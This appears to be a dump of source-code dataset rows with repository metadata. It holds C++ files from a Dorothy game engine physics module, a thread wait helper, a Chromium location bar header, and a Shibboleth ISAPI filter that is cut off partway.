Body* targetA = DoraCast<Body>(itemDict->get(bodyA).get());
Body* targetB = DoraCast<Body>(itemDict->get(bodyB).get());
if (targetA && targetB)
{
return Joint::distance(collision, targetA, targetB, anchorA, anchorB, frequency, damping);
}
return nullptr;
}
Joint* FrictionDef::toJoint(Dictionary* itemDict)
{
Body* targetA = DoraCast<Body>(itemDict->get(bodyA).get());
Body* targetB = DoraCast<Body>(itemDict->get(bodyB).get());
if (targetA && targetB)
{
return Joint::friction(collision, targetA, targetB, t(worldPos), maxForce, maxTorque);
}
return nullptr;
}
Joint* GearDef::toJoint(Dictionary* itemDict)
{
Joint* targetA = DoraCast<Joint>(itemDict->get(jointA).get());
Joint* targetB = DoraCast<Joint>(itemDict->get(jointB).get());
if (targetA && targetB)
{
return Joint::gear(collision, targetA, targetB, ratio);
}
return nullptr;
}
Joint* SpringDef::toJoint(Dictionary* itemDict)
{
Body* targetA = DoraCast<Body>(itemDict->get(bodyA).get());
Body* targetB = DoraCast<Body>(itemDict->get(bodyB).get());
if (targetA && targetB)
{
return Joint::spring(collision, targetA, targetB, linearOffset, angularOffset, maxForce, maxTorque, correctionFactor);
}
return nullptr;
}
Joint* PrismaticDef::toJoint(Dictionary* itemDict)
{
Body* targetA = DoraCast<Body>(itemDict->get(bodyA).get());
Body* targetB = DoraCast<Body>(itemDict->get(bodyB).get());
if (targetA && targetB)
{
return Joint::prismatic(collision, targetA, targetB, t(worldPos), r(axis), lowerTranslation, upperTranslation, maxMotorForce, motorSpeed);
}
return nullptr;
}
Joint* PulleyDef::toJoint(Dictionary* itemDict)
{
Body* targetA = DoraCast<Body>(itemDict->get(bodyA).get());
Body* targetB = DoraCast<Body>(itemDict->get(bodyB).get());
if (targetA && targetB)
{
return Joint::pulley(collision, targetA, targetB, anchorA, anchorB, t(groundAnchorA), t(groundAnchorB), ratio);
}
return nullptr;
}
Joint* RevoluteDef::toJoint(Dictionary* itemDict)
{
Body* targetA = DoraCast<Body>(itemDict->get(bodyA).get());
Body* targetB = DoraCast<Body>(itemDict->get(bodyB).get());
if (targetA && targetB)
{
return Joint::revolute(collision, targetA, targetB, t(worldPos), lowerAngle + angle, upperAngle + angle, maxMotorTorque, motorSpeed);
}
return nullptr;
}
Joint* RopeDef::toJoint(Dictionary* itemDict)
{
Body* targetA = DoraCast<Body>(itemDict->get(bodyA).get());
Body* targetB = DoraCast<Body>(itemDict->get(bodyB).get());
if (targetA && targetB)
{
return Joint::rope(collision, targetA, targetB, anchorA, anchorB, maxLength);
}
return nullptr;
}
Joint* WeldDef::toJoint(Dictionary* itemDict)
{
Body* targetA = DoraCast<Body>(itemDict->get(bodyA).get());
Body* targetB = DoraCast<Body>(itemDict->get(bodyB).get());
if (targetA && targetB)
{
return Joint::weld(collision, targetA, targetB, t(worldPos), frequency, damping);
}
return nullptr;
}
Joint* WheelDef::toJoint(Dictionary* itemDict)
{
Body* targetA = DoraCast<Body>(itemDict->get(bodyA).get());
Body* targetB = DoraCast<Body>(itemDict->get(bodyB).get());
if (targetA && targetB)
{
return Joint::wheel(collision, targetA, targetB, t(worldPos), r(axis), maxMotorTorque, motorSpeed, frequency, damping);
}
return nullptr;
}
NS_DOROTHY_END
| [
"[email protected]"
] | |
e0d11cefd42ed83a25a92c67fb612d1fddd97e4d | d6c0360526df8cc1760ca9465a3bb8a7ef26b445 | /common/src/wait.cpp | 89e2089323b7bee816e928a26823b2395848794e | [] | no_license | alekseibutiaev/experience | 44eda6a54e24abeca16291d6885970c88d34f7c2 | 354dc415d937996842a37cd8f215b60a8ae8115e | refs/heads/master | 2023-08-17T15:09:18.318428 | 2023-08-12T17:53:40 | 2023-08-12T17:53:40 | 109,396,253 | 2 | 0 | null | 2022-05-20T20:48:40 | 2017-11-03T13:03:20 | C | UTF-8 | C++ | false | false | 424 | cpp | #include "logger.hpp"
#include "wait.h"
namespace tools {
void wait_t::wait(const std::string& msg) {
_info(msg, endline);
std::unique_lock<std::mutex> _(m_mtx);
m_stop = false;
while(!m_stop)
m_cv.wait(_);
}
void wait_t::notify(const std::string& msg) {
std::unique_lock<std::mutex> _(m_mtx);
m_stop = true;
m_cv.notify_one();
_info(msg, endline);
}
} /* namespace tools */ | [
"[email protected]"
] | |
0f6f040db32901409d2dcdbdf85856e27476ab86 | 5041bdc8ce649616b6dcf32aeade9ae27075ae2b | /chrome/browser/ui/views/location_bar/location_bar_view.h | d045e53e64fff072f5686c2191fd47dc2a414918 | [
"BSD-3-Clause"
] | permissive | aSeijiNagai/Readium-Chromium | a15a1ea421c797fab6e0876785f9ce4afb784e60 | 404328b0541dd3da835b288785aed080f73d85dd | refs/heads/master | 2021-01-16T22:00:32.748245 | 2012-09-24T07:57:13 | 2012-09-24T07:57:13 | null | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 20,337 | h | // Copyright (c) 2012 The Chromium Authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.
#ifndef CHROME_BROWSER_UI_VIEWS_LOCATION_BAR_LOCATION_BAR_VIEW_H_
#define CHROME_BROWSER_UI_VIEWS_LOCATION_BAR_LOCATION_BAR_VIEW_H_
#include <string>
#include <vector>
#include "base/compiler_specific.h"
#include "chrome/browser/extensions/extension_context_menu_model.h"
#include "chrome/browser/prefs/pref_member.h"
#include "chrome/browser/search_engines/template_url_service_observer.h"
#include "chrome/browser/ui/omnibox/location_bar.h"
#include "chrome/browser/ui/omnibox/omnibox_edit_controller.h"
#include "chrome/browser/ui/search/search_model_observer.h"
#include "chrome/browser/ui/toolbar/toolbar_model.h"
#include "chrome/browser/ui/views/dropdown_bar_host.h"
#include "chrome/browser/ui/views/dropdown_bar_host_delegate.h"
#include "chrome/browser/ui/views/extensions/extension_popup.h"
#include "chrome/browser/ui/zoom/zoom_controller.h"
#include "content/public/browser/notification_observer.h"
#include "content/public/browser/notification_registrar.h"
#include "ui/gfx/font.h"
#include "ui/gfx/rect.h"
#include "ui/views/controls/native/native_view_host.h"
#include "ui/views/drag_controller.h"
#if defined(USE_AURA)
#include "ui/compositor/layer_animation_observer.h"
#endif
class ActionBoxButtonView;
class ChromeToMobileView;
class CommandUpdater;
class ContentSettingBubbleModelDelegate;
class ContentSettingImageView;
class EVBubbleView;
class ExtensionAction;
class GURL;
class InstantController;
class KeywordHintView;
class LocationIconView;
class PageActionWithBadgeView;
class PageActionImageView;
class Profile;
class SelectedKeywordView;
class StarView;
class SuggestedTextView;
class TabContents;
class TemplateURLService;
class ZoomView;
namespace chrome {
namespace search {
class SearchModel;
}
}
namespace views {
class BubbleDelegateView;
class Widget;
}
/////////////////////////////////////////////////////////////////////////////
//
// LocationBarView class
//
// The LocationBarView class is a View subclass that paints the background
// of the URL bar strip and contains its content.
//
/////////////////////////////////////////////////////////////////////////////
class LocationBarView : public LocationBar,
public LocationBarTesting,
public views::View,
public views::DragController,
public OmniboxEditController,
public DropdownBarHostDelegate,
public chrome::search::SearchModelObserver,
public TemplateURLServiceObserver,
public content::NotificationObserver {
public:
// The location bar view's class name.
static const char kViewClassName[];
// DropdownBarHostDelegate
virtual void SetFocusAndSelection(bool select_all) OVERRIDE;
virtual void SetAnimationOffset(int offset) OVERRIDE;
// chrome::search::SearchModelObserver:
virtual void ModeChanged(const chrome::search::Mode& mode) OVERRIDE;
// Returns the offset used while animating.
int animation_offset() const { return animation_offset_; }
class Delegate {
public:
// Should return the current tab contents.
virtual TabContents* GetTabContents() const = 0;
// Returns the InstantController, or NULL if there isn't one.
virtual InstantController* GetInstant() = 0;
// Creates Widget for the given delegate.
virtual views::Widget* CreateViewsBubble(
views::BubbleDelegateView* bubble_delegate) = 0;
// Creates PageActionImageView. Caller gets an ownership.
virtual PageActionImageView* CreatePageActionImageView(
LocationBarView* owner,
ExtensionAction* action) = 0;
// Returns ContentSettingBubbleModelDelegate.
virtual ContentSettingBubbleModelDelegate*
GetContentSettingBubbleModelDelegate() = 0;
// Shows page information in the given web contents.
virtual void ShowPageInfo(content::WebContents* web_contents,
const GURL& url,
const content::SSLStatus& ssl,
bool show_history) = 0;
// Called by the location bar view when the user starts typing in the edit.
// This forces our security style to be UNKNOWN for the duration of the
// editing.
virtual void OnInputInProgress(bool in_progress) = 0;
protected:
virtual ~Delegate() {}
};
enum ColorKind {
BACKGROUND = 0,
TEXT,
SELECTED_TEXT,
DEEMPHASIZED_TEXT,
SECURITY_TEXT,
};
// The modes reflect the different scenarios where a location bar can be used.
// The normal mode is the mode used in a regular browser window.
// In popup mode, the location bar view is read only and has a slightly
// different presentation (font size / color).
// In app launcher mode, the location bar is empty and no security states or
// page/browser actions are displayed.
enum Mode {
NORMAL = 0,
POPUP,
APP_LAUNCHER
};
LocationBarView(Profile* profile,
CommandUpdater* command_updater,
ToolbarModel* model,
Delegate* delegate,
chrome::search::SearchModel* search_model,
Mode mode);
virtual ~LocationBarView();
// Initializes the LocationBarView. See ToolbarView::Init() for a description
// of |popup_parent_view|.
void Init(views::View* popup_parent_view);
// True if this instance has been initialized by calling Init, which can only
// be called when the receiving instance is attached to a view container.
bool IsInitialized() const;
// Returns the appropriate color for the desired kind, based on the user's
// system theme.
static SkColor GetColor(ToolbarModel::SecurityLevel security_level,
ColorKind kind);
// Updates the location bar. We also reset the bar's permanent text and
// security style, and, if |tab_for_state_restoring| is non-NULL, also restore
// saved state that the tab holds.
void Update(const content::WebContents* tab_for_state_restoring);
// Returns corresponding profile.
Profile* profile() const { return profile_; }
// Returns the delegate.
Delegate* delegate() const { return delegate_; }
// Sets the tooltip for the zoom icon.
void SetZoomIconTooltipPercent(int zoom_percent);
// Sets the zoom icon state.
void SetZoomIconState(ZoomController::ZoomIconState zoom_icon_state);
// Shows the zoom bubble.
void ShowZoomBubble(int zoom_percent);
// Sets |preview_enabled| for the PageAction View associated with this
// |page_action|. If |preview_enabled| is true, the view will display the
// PageActions icon even though it has not been activated by the extension.
// This is used by the ExtensionInstalledBubble to preview what the icon
// will look like for the user upon installation of the extension.
void SetPreviewEnabledPageAction(ExtensionAction* page_action,
bool preview_enabled);
// Retrieves the PageAction View which is associated with |page_action|.
views::View* GetPageActionView(ExtensionAction* page_action);
// Toggles the star on or off.
void SetStarToggled(bool on);
// Shows the bookmark bubble.
void ShowStarBubble(const GURL& url, bool newly_bookmarked);
// Shows the Chrome To Mobile bubble.
void ShowChromeToMobileBubble();
// Returns the screen coordinates of the location entry (where the URL text
// appears, not where the icons are shown).
gfx::Point GetLocationEntryOrigin() const;
// Invoked from OmniboxViewWin to show the instant suggestion.
void SetInstantSuggestion(const string16& text,
bool animate_to_complete);
// Returns the current instant suggestion text.
string16 GetInstantSuggestion() const;
// Sets whether the location entry can accept focus.
void SetLocationEntryFocusable(bool focusable);
// Returns true if the location entry is focusable and visible in
// the root view.
bool IsLocationEntryFocusableInRootView() const;
// Sizing functions
virtual gfx::Size GetPreferredSize() OVERRIDE;
// Layout and Painting functions
virtual void Layout() OVERRIDE;
virtual void OnPaint(gfx::Canvas* canvas) OVERRIDE;
// No focus border for the location bar, the caret is enough.
virtual void OnPaintFocusBorder(gfx::Canvas* canvas) OVERRIDE { }
// Set if we should show a focus rect while the location entry field is
// focused. Used when the toolbar is in full keyboard accessibility mode.
// Repaints if necessary.
virtual void SetShowFocusRect(bool show);
// Select all of the text. Needed when the user tabs through controls
// in the toolbar in full keyboard accessibility mode.
virtual void SelectAll();
const gfx::Font& font() const { return font_; }
// See description above field.
void set_view_to_focus(views::View* view) { view_to_focus_ = view; }
views::View* view_to_focus() { return view_to_focus_; }
#if defined(OS_WIN) && !defined(USE_AURA)
// Event Handlers
virtual bool OnMousePressed(const views::MouseEvent& event) OVERRIDE;
virtual bool OnMouseDragged(const views::MouseEvent& event) OVERRIDE;
virtual void OnMouseReleased(const views::MouseEvent& event) OVERRIDE;
virtual void OnMouseCaptureLost() OVERRIDE;
#endif
LocationIconView* location_icon_view() { return location_icon_view_; }
const LocationIconView* location_icon_view() const {
return location_icon_view_;
}
views::View* location_entry_view() const { return location_entry_view_; }
chrome::search::SearchModel* search_model() const {
return search_model_;
}
// Overridden from OmniboxEditController:
virtual void OnAutocompleteAccept(const GURL& url,
WindowOpenDisposition disposition,
content::PageTransition transition,
const GURL& alternate_nav_url) OVERRIDE;
virtual void OnChanged() OVERRIDE;
virtual void OnSelectionBoundsChanged() OVERRIDE;
virtual void OnInputInProgress(bool in_progress) OVERRIDE;
virtual void OnKillFocus() OVERRIDE;
virtual void OnSetFocus() OVERRIDE;
virtual SkBitmap GetFavicon() const OVERRIDE;
virtual string16 GetTitle() const OVERRIDE;
virtual InstantController* GetInstant() OVERRIDE;
virtual TabContents* GetTabContents() const OVERRIDE;
// Overridden from views::View:
virtual std::string GetClassName() const OVERRIDE;
virtual bool SkipDefaultKeyEventProcessing(const views::KeyEvent& event)
OVERRIDE;
virtual void GetAccessibleState(ui::AccessibleViewState* state) OVERRIDE;
virtual bool HasFocus() const OVERRIDE;
// Overridden from views::DragController:
virtual void WriteDragDataForView(View* sender,
const gfx::Point& press_pt,
OSExchangeData* data) OVERRIDE;
virtual int GetDragOperationsForView(View* sender,
const gfx::Point& p) OVERRIDE;
virtual bool CanStartDragForView(View* sender,
const gfx::Point& press_pt,
const gfx::Point& p) OVERRIDE;
// Overridden from LocationBar:
virtual void ShowFirstRunBubble() OVERRIDE;
virtual void SetSuggestedText(const string16& text,
InstantCompleteBehavior behavior) OVERRIDE;
virtual string16 GetInputString() const OVERRIDE;
virtual WindowOpenDisposition GetWindowOpenDisposition() const OVERRIDE;
virtual content::PageTransition GetPageTransition() const OVERRIDE;
virtual void AcceptInput() OVERRIDE;
virtual void FocusLocation(bool select_all) OVERRIDE;
virtual void FocusSearch() OVERRIDE;
virtual void UpdateContentSettingsIcons() OVERRIDE;
virtual void UpdatePageActions() OVERRIDE;
virtual void InvalidatePageActions() OVERRIDE;
virtual void SaveStateToContents(content::WebContents* contents) OVERRIDE;
virtual void Revert() OVERRIDE;
virtual const OmniboxView* GetLocationEntry() const OVERRIDE;
virtual OmniboxView* GetLocationEntry() OVERRIDE;
virtual LocationBarTesting* GetLocationBarForTesting() OVERRIDE;
// Overridden from LocationBarTesting:
virtual int PageActionCount() OVERRIDE;
virtual int PageActionVisibleCount() OVERRIDE;
virtual ExtensionAction* GetPageAction(size_t index) OVERRIDE;
virtual ExtensionAction* GetVisiblePageAction(size_t index) OVERRIDE;
virtual void TestPageActionPressed(size_t index) OVERRIDE;
// Overridden from TemplateURLServiceObserver
virtual void OnTemplateURLServiceChanged() OVERRIDE;
// Overridden from content::NotificationObserver
virtual void Observe(int type,
const content::NotificationSource& source,
const content::NotificationDetails& details) OVERRIDE;
// Returns the height of the control without the top and bottom
// edges(i.e. the height of the edit control inside). If
// |use_preferred_size| is true this will be the preferred height,
// otherwise it will be the current height.
int GetInternalHeight(bool use_preferred_size);
// Space between items in the location bar.
static int GetItemPadding();
// Space between the edges and the items next to them.
static int GetEdgeItemPadding();
// Thickness of the left and right edges of the omnibox, in normal mode.
static const int kNormalHorizontalEdgeThickness;
// Thickness of the top and bottom edges of the omnibox.
static const int kVerticalEdgeThickness;
// Amount of padding built into the standard omnibox icons.
static const int kIconInternalPadding;
// Space between the edge and a bubble.
static const int kBubbleHorizontalPadding;
protected:
virtual void OnFocus() OVERRIDE;
private:
typedef std::vector<ContentSettingImageView*> ContentSettingViews;
friend class PageActionImageView;
friend class PageActionWithBadgeView;
typedef std::vector<PageActionWithBadgeView*> PageActionViews;
#if defined(USE_AURA)
// Observer that informs the LocationBarView when the animation is done.
class FadeAnimationObserver : public ui::ImplicitAnimationObserver {
public:
explicit FadeAnimationObserver(LocationBarView* location_bar_view);
virtual ~FadeAnimationObserver();
// ui::ImplicitAnimationObserver overrides:
virtual void OnImplicitAnimationsCompleted() OVERRIDE;
private:
// The location bar view being animated. Not owned.
LocationBarView* location_bar_view_;
DISALLOW_COPY_AND_ASSIGN(FadeAnimationObserver);
};
#endif // USE_AURA
// Returns the amount of horizontal space (in pixels) out of
// |location_bar_width| that is not taken up by the actual text in
// location_entry_.
int AvailableWidth(int location_bar_width);
// If |view| fits in |available_width|, it is made visible and positioned at
// the leading or trailing end of |bounds|, which are then shrunk
// appropriately. Otherwise |view| is made invisible.
// Note: |view| is expected to have already been positioned and sized
// vertically.
void LayoutView(views::View* view,
int padding,
int available_width,
bool leading,
gfx::Rect* bounds);
// Update the visibility state of the Content Blocked icons to reflect what is
// actually blocked on the current page.
void RefreshContentSettingViews();
// Delete all page action views that we have created.
void DeletePageActionViews();
// Update the views for the Page Actions, to reflect state changes for
// PageActions.
void RefreshPageActionViews();
// Sets the visibility of view to new_vis.
void ToggleVisibility(bool new_vis, views::View* view);
#if !defined(USE_AURA)
// Helper for the Mouse event handlers that does all the real work.
void OnMouseEvent(const views::MouseEvent& event, UINT msg);
#endif
// Returns true if the suggest text is valid.
bool HasValidSuggestText() const;
// Helper to show the first run info bubble.
void ShowFirstRunBubbleInternal();
// Draw the background and the left border.
void PaintActionBoxBackground(gfx::Canvas* canvas,
const gfx::Rect& content_rect);
#if defined(USE_AURA)
// Fade in the location bar view so the icons come in gradually.
void StartFadeAnimation();
// Stops the fade animation, if it is playing. Otherwise does nothing.
void StopFadeAnimation();
// Cleans up layers used for the animation.
void CleanupFadeAnimation();
#endif
// The Autocomplete Edit field.
scoped_ptr<OmniboxView> location_entry_;
// The profile which corresponds to this View.
Profile* profile_;
// Command updater which corresponds to this View.
CommandUpdater* command_updater_;
// The model.
ToolbarModel* model_;
// Our delegate.
Delegate* delegate_;
// Weak, owned by browser.
// This is null if there is no browser instance.
chrome::search::SearchModel* search_model_;
// This is the string of text from the autocompletion session that the user
// entered or selected.
string16 location_input_;
// The user's desired disposition for how their input should be opened
WindowOpenDisposition disposition_;
// The transition type to use for the navigation
content::PageTransition transition_;
// Font used by edit and some of the hints.
gfx::Font font_;
// An object used to paint the normal-mode background.
scoped_ptr<views::Painter> painter_;
// An icon to the left of the edit field.
LocationIconView* location_icon_view_;
// A bubble displayed for EV HTTPS sites.
EVBubbleView* ev_bubble_view_;
// Location_entry view
views::View* location_entry_view_;
// The following views are used to provide hints and remind the user as to
// what is going in the edit. They are all added a children of the
// LocationBarView. At most one is visible at a time. Preference is
// given to the keyword_view_, then hint_view_.
// These autocollapse when the edit needs the room.
// Shown if the user has selected a keyword.
SelectedKeywordView* selected_keyword_view_;
// View responsible for showing suggested text. This is NULL when there is no
// suggested text.
SuggestedTextView* suggested_text_view_;
// Shown if the selected url has a corresponding keyword.
KeywordHintView* keyword_hint_view_;
// The content setting views.
ContentSettingViews content_setting_views_;
// The zoom icon.
ZoomView* zoom_view_;
// The current page actions.
std::vector<ExtensionAction*> page_actions_;
// The page action icon views.
PageActionViews page_action_views_;
// The star.
StarView* star_view_;
// The action box button (plus).
ActionBoxButtonView* action_box_button_view_;
// The Chrome To Mobile page action icon view.
ChromeToMobileView* chrome_to_mobile_view_;
// The mode that dictates how the bar shows.
Mode mode_;
// True if we should show a focus rect while the location entry field is
// focused. Used when the toolbar is in full keyboard accessibility mode.
bool show_focus_rect_;
// This is in case we're destroyed before the model loads. We need to make
// Add/RemoveObserver calls.
TemplateURLService* template_url_service_;
// Tracks this preference to determine whether bookmark editing is allowed.
BooleanPrefMember edit_bookmarks_enabled_;
// While animating, the host clips the widget and draws only the bottom
// part of it. The view needs to know the pixel offset at which we are drawing
// the widget so that we can draw the curved edges that attach to the toolbar
// in the right location.
int animation_offset_;
// Used to register for notifications received by NotificationObserver.
content::NotificationRegistrar registrar_;
// The view to give focus to. This is either |this| or the
// LocationBarContainer.
views::View* view_to_focus_;
#if defined(USE_AURA)
// Observer for a fade-in animation.
scoped_ptr<FadeAnimationObserver> fade_animation_observer_;
#endif
DISALLOW_IMPLICIT_CONSTRUCTORS(LocationBarView);
};
#endif // CHROME_BROWSER_UI_VIEWS_LOCATION_BAR_LOCATION_BAR_VIEW_H_
| [
"[email protected]@4ff67af0-8c30-449e-8e8b-ad334ec8d88c"
] | [email protected]@4ff67af0-8c30-449e-8e8b-ad334ec8d88c |
8d2ae8c20c802c30fd77b362894fb0de9dcb0be0 | b1fed0cf607483a8c51df377d6278d186be95007 | /tags/2.1.0/isapi_shib/isapi_shib.cpp | 38ea0c2d15e9436779899bb10fba7ab446c33702 | [] | no_license | svn2github/cpp-sp | eab0e52ce521ae696ba02d815d7da02481c4e24d | 9c0bfdae80f3c60860b36f15698f241f1e3d933f | refs/heads/master | 2020-06-06T03:24:19.620256 | 2015-01-20T00:27:14 | 2015-01-20T00:27:14 | 19,316,247 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 32,996 | cpp | /*
* Copyright 2001-2007 Internet2
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* isapi_shib.cpp
*
* Shibboleth ISAPI filter
*/
#define SHIBSP_LITE
#include "config_win32.h"
#define _CRT_NONSTDC_NO_DEPRECATE 1
#define _CRT_SECURE_NO_DEPRECATE 1
#include <shibsp/AbstractSPRequest.h>
#include <shibsp/SPConfig.h>
#include <shibsp/ServiceProvider.h>
#include <xmltooling/unicode.h>
#include <xmltooling/XMLToolingConfig.h>
#include <xmltooling/util/NDC.h>
#include <xmltooling/util/XMLConstants.h>
#include <xmltooling/util/XMLHelper.h>
#include <xercesc/util/Base64.hpp>
#include <xercesc/util/XMLUniDefs.hpp>
#include <set>
#include <sstream>
#include <fstream>
#include <stdexcept>
#include <process.h>
#include <windows.h>
#include <httpfilt.h>
#include <httpext.h>
using namespace shibsp;
using namespace xmltooling;
using namespace xercesc;
using namespace std;
// globals
namespace {
static const XMLCh path[] = UNICODE_LITERAL_4(p,a,t,h);
static const XMLCh validate[] = UNICODE_LITERAL_8(v,a,l,i,d,a,t,e);
static const XMLCh name[] = UNICODE_LITERAL_4(n,a,m,e);
static const XMLCh port[] = UNICODE_LITERAL_4(p,o,r,t);
static const XMLCh sslport[] = UNICODE_LITERAL_7(s,s,l,p,o,r,t);
static const XMLCh scheme[] = UNICODE_LITERAL_6(s,c,h,e,m,e);
static const XMLCh id[] = UNICODE_LITERAL_2(i,d);
static const XMLCh Alias[] = UNICODE_LITERAL_5(A,l,i,a,s);
static const XMLCh Site[] = UNICODE_LITERAL_4(S,i,t,e);
struct site_t {
site_t(const DOMElement* e)
{
auto_ptr_char n(e->getAttributeNS(NULL,name));
auto_ptr_char s(e->getAttributeNS(NULL,scheme));
auto_ptr_char p(e->getAttributeNS(NULL,port));
auto_ptr_char p2(e->getAttributeNS(NULL,sslport));
if (n.get()) m_name=n.get();
if (s.get()) m_scheme=s.get();
if (p.get()) m_port=p.get();
if (p2.get()) m_sslport=p2.get();
e = XMLHelper::getFirstChildElement(e, Alias);
while (e) {
if (e->hasChildNodes()) {
auto_ptr_char alias(e->getFirstChild()->getNodeValue());
m_aliases.insert(alias.get());
}
e = XMLHelper::getNextSiblingElement(e, Alias);
}
}
string m_scheme,m_port,m_sslport,m_name;
set<string> m_aliases;
};
struct context_t {
char* m_user;
bool m_checked;
};
HINSTANCE g_hinstDLL;
SPConfig* g_Config = NULL;
map<string,site_t> g_Sites;
bool g_bNormalizeRequest = true;
string g_unsetHeaderValue;
bool g_checkSpoofing = true;
bool g_catchAll = false;
vector<string> g_NoCerts;
}
BOOL LogEvent(
LPCSTR lpUNCServerName,
WORD wType,
DWORD dwEventID,
PSID lpUserSid,
LPCSTR message)
{
LPCSTR messages[] = {message, NULL};
HANDLE hElog = RegisterEventSource(lpUNCServerName, "Shibboleth ISAPI Filter");
BOOL res = ReportEvent(hElog, wType, 0, dwEventID, lpUserSid, 1, 0, messages, NULL);
return (DeregisterEventSource(hElog) && res);
}
extern "C" __declspec(dllexport) BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID)
{
if (fdwReason==DLL_PROCESS_ATTACH)
g_hinstDLL=hinstDLL;
return TRUE;
}
extern "C" BOOL WINAPI GetExtensionVersion(HSE_VERSION_INFO* pVer)
{
if (!pVer)
return FALSE;
if (!g_Config) {
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL,
"Extension mode startup not possible, is the DLL loaded as a filter?");
return FALSE;
}
pVer->dwExtensionVersion=HSE_VERSION;
strncpy(pVer->lpszExtensionDesc,"Shibboleth ISAPI Extension",HSE_MAX_EXT_DLL_NAME_LEN-1);
return TRUE;
}
extern "C" BOOL WINAPI TerminateExtension(DWORD)
{
return TRUE; // cleanup should happen when filter unloads
}
extern "C" BOOL WINAPI GetFilterVersion(PHTTP_FILTER_VERSION pVer)
{
if (!pVer)
return FALSE;
else if (g_Config) {
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL,
"Reentrant filter initialization, ignoring...");
return TRUE;
}
g_Config=&SPConfig::getConfig();
g_Config->setFeatures(
SPConfig::Listener |
SPConfig::Caching |
SPConfig::RequestMapping |
SPConfig::InProcess |
SPConfig::Logging |
SPConfig::Handlers
);
if (!g_Config->init()) {
g_Config=NULL;
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL,
"Filter startup failed during library initialization, check native log for help.");
return FALSE;
}
try {
if (!g_Config->instantiate(NULL, true))
throw runtime_error("unknown error");
}
catch (exception& ex) {
g_Config->term();
g_Config=NULL;
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL, ex.what());
LogEvent(NULL, EVENTLOG_ERROR_TYPE, 2100, NULL,
"Filter startup failed to load configuration, check native log for details.");
return FALSE;
}
// Access implementation-specifics and site mappings.
ServiceProvider* sp=g_Config->getServiceProvider();
Locker locker(sp);
const PropertySet* props=sp->getPropertySet("InProcess");
if (props) {
pair<bool,const char*> unsetValue=props->getString("unsetHeaderValue");
if (unsetValue.first)
g_unsetHeaderValue = unsetValue.second;
pair<bool,bool> flag=props->getBool("checkSpoofing");
g_checkSpoofing = !flag.first || flag.second;
flag=props->getBool("catchAll");
g_catchAll = flag.first && flag.second;
props = props->getPropertySet("ISAPI");
if (props) {
flag = props->getBool("normalizeRequest");
g_bNormalizeRequest = !flag.first || flag.second;
const DOMElement* child = XMLHelper::getFirstChildElement(props->getElement(),Site);
while (child) {
auto_ptr_char id(child->getAttributeNS(NULL,id));
if (id.get())
g_Sites.insert(pair<string,site_t>(id.get(),site_t(child)));
child=XMLHelper::getNextSiblingElement(child,Site);
}
}
}
pVer->dwFilterVersion=HTTP_FILTER_REVISION;
strncpy(pVer->lpszFilterDesc,"Shibboleth ISAPI Filter",SF_MAX_FILTER_DESC_LEN);
pVer->dwFlags=(SF_NOTIFY_ORDER_HIGH |
SF_NOTIFY_SECURE_PORT |
SF_NOTIFY_NONSECURE_PORT |
SF_NOTIFY_PREPROC_HEADERS |
SF_NOTIFY_LOG);
LogEvent(NULL, EVENTLOG_INFORMATION_TYPE, 7701, NULL, "Filter initialized...");
return TRUE;
}
extern "C" BOOL WINAPI TerminateFilter(DWORD)
{
if (g_Config)
g_Config->term();
g_Config = NULL;
LogEvent(NULL, EVENTLOG_INFORMATION_TYPE, 7701, NULL, "Filter shut down...");
return TRUE;
}
/* Next up, some suck-free versions of various APIs.
You DON'T require people to guess the buffer size and THEN tell them the right size.
Returning an LPCSTR is apparently way beyond their ken. Not to mention the fact that
constant strings aren't typed as such, making it just that much harder. These versions
are now updated to use a special growable buffer object, modeled after the standard
string class. The standard string won't work because they left out the option to
pre-allocate a non-constant buffer.
*/
class dynabuf
{
public:
dynabuf() { bufptr=NULL; buflen=0; }
dynabuf(size_t s) { bufptr=new char[buflen=s]; *bufptr=0; }
~dynabuf() { delete[] bufptr; }
size_t length() const { return bufptr ? strlen(bufptr) : 0; }
size_t size() const { return buflen; }
bool empty() const { return length()==0; }
void reserve(size_t s, bool keep=false);
void erase() { if (bufptr) memset(bufptr,0,buflen); }
operator char*() { return bufptr; }
bool operator ==(const char* s) const;
bool operator !=(const char* s) const { return !(*this==s); }
private:
char* bufptr;
size_t buflen;
};
void dynabuf::reserve(size_t s, bool keep)
{
if (s<=buflen)
return;
char* p=new char[s];
if (keep)
while (buflen--)
p[buflen]=bufptr[buflen];
buflen=s;
delete[] bufptr;
bufptr=p;
}
bool dynabuf::operator==(const char* s) const
{
if (buflen==NULL || s==NULL)
return (buflen==NULL && s==NULL);
else
return strcmp(bufptr,s)==0;
}
void GetServerVariable(PHTTP_FILTER_CONTEXT pfc, LPSTR lpszVariable, dynabuf& s, DWORD size=80, bool bRequired=true)
{
s.reserve(size);
s.erase();
size=s.size();
while (!pfc->GetServerVariable(pfc,lpszVariable,s,&size)) {
// Grumble. Check the error.
DWORD e=GetLastError();
if (e==ERROR_INSUFFICIENT_BUFFER)
s.reserve(size);
else
break;
}
if (bRequired && s.empty())
throw ERROR_NO_DATA;
}
void GetServerVariable(LPEXTENSION_CONTROL_BLOCK lpECB, LPSTR lpszVariable, dynabuf& s, DWORD size=80, bool bRequired=true)
{
s.reserve(size);
s.erase();
size=s.size();
while (!lpECB->GetServerVariable(lpECB->ConnID,lpszVariable,s,&size)) {
// Grumble. Check the error.
DWORD e=GetLastError();
if (e==ERROR_INSUFFICIENT_BUFFER)
s.reserve(size);
else
break;
}
if (bRequired && s.empty())
throw ERROR_NO_DATA;
}
void GetHeader(PHTTP_FILTER_PREPROC_HEADERS pn, PHTTP_FILTER_CONTEXT pfc,
LPSTR lpszName, dynabuf& s, DWORD size=80, bool bRequired=true)
{
s.reserve(size);
s.erase();
size=s.size();
